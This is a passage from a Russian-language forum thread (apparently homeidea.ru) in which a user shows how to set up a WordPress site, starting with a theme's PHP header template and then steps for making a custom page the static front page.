   <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
   
   <title><?php bloginfo('name'); if(is_home() || is_front_page()) { echo ' - '; bloginfo('description'); } else { wp_title(); } ?></title>
   <link href='http://fonts.googleapis.com/css?family=Jockey+One' rel='stylesheet' type='text/css'>

<?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?>
<?php wp_head(); ?>
</head>

<body <?php body_class(); ?>>
<div id="wrapper">
   
<!--   <div id="header">
      <div id="logo">
            <?php
            $options = get_option('themezee_options');
            if ( isset($options['themeZee_general_logo']) and $options['themeZee_general_logo'] <> "" ) { ?>
               <a href="<?php echo home_url(); ?>"><img src="<?php echo esc_url($options['themeZee_general_logo']); ?>" alt="Logo" /></a>
            <?php } else { ?>
               <a href="<?php echo home_url(); ?>/"><h1><?php bloginfo('name'); ?></h1></a>
               <h2><?php echo bloginfo('description'); ?></h2>
            <?php } ?>
      </div>
      <div id="navi">
         <?php
         // Get Navigation out of Theme Options
            wp_nav_menu(array('theme_location' => 'main_navi', 'container' => false, 'menu_id' => 'nav', 'echo' => true, 'fallback_cb' => 'themezee_default_menu', 'before' => '', 'after' => '', 'link_before' => '', 'link_after' => '', 'depth' => 0));
         ?>
      </div>
   </div>  -->
   <div class="clear"></div>
   
   <div id="custom_header">
      <?php if(is_page() && has_post_thumbnail()) :
            the_post_thumbnail(array(940,140));
         elseif( get_header_image() != '' ) : ?>
            <img src="<?php echo get_header_image(); ?>" />
      <?php endif; ?>
   </div>
   
   <div id="wrap">

Не забывайте сохранить изменения!
Записан

Идеи Малого Бизнеса


vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

Ну всё. Самое тяжелое позади. Теперь пойдут более простые дела.

Для начала пойдем в "Настройки" --> "Чтение".



Нам откроется знакомое окно.



Ставим галочку на выбрать "Статическую страницу".

В пункте "Главная страница" жмем на окошечко и выбираем нашу страницу - "основная".



Сделайте себе эту страницу так же, как у меня на картинке.



И не забывайте сохранять изменения!
Записан

vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

Теперь щелкаем в верхнем левом углу по названию сайта (у меня - "кактус"). Там выпадет табличка "Перейти на сайт". Щелкаем по ней, заходим с парадной двери на сайт и смотрим что у нас получилось.



А получилась чистая страничка с чистым подвалом и единственным словом "Edit" (редактировать). Это слово для нас, админов. Посетители его не увидят.


Записан

Идеи Малого Бизнеса


vladusan

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Пол: Мужской
  • Сообщений: 1973
  • web-master

Пока всё. Через несколько дней продолжу ветку. Если появились краткие вопросы по пройденному - буду отвечать.
Записан

Lanc

  • Sr. Member
  • ****
  • Оффлайн Оффлайн
  • Сообщений: 1917

Прикольно 
Записан

Идеи Малого Бизнеса


 

Рейтинг@Mail.ru Рейтинг Досок Объявлений

Homeidea.ru © 2006-2024
Мы в социальных сетях
Разместить рекламу

Страница сгенерирована за 1.804 секунд. Запросов: 33.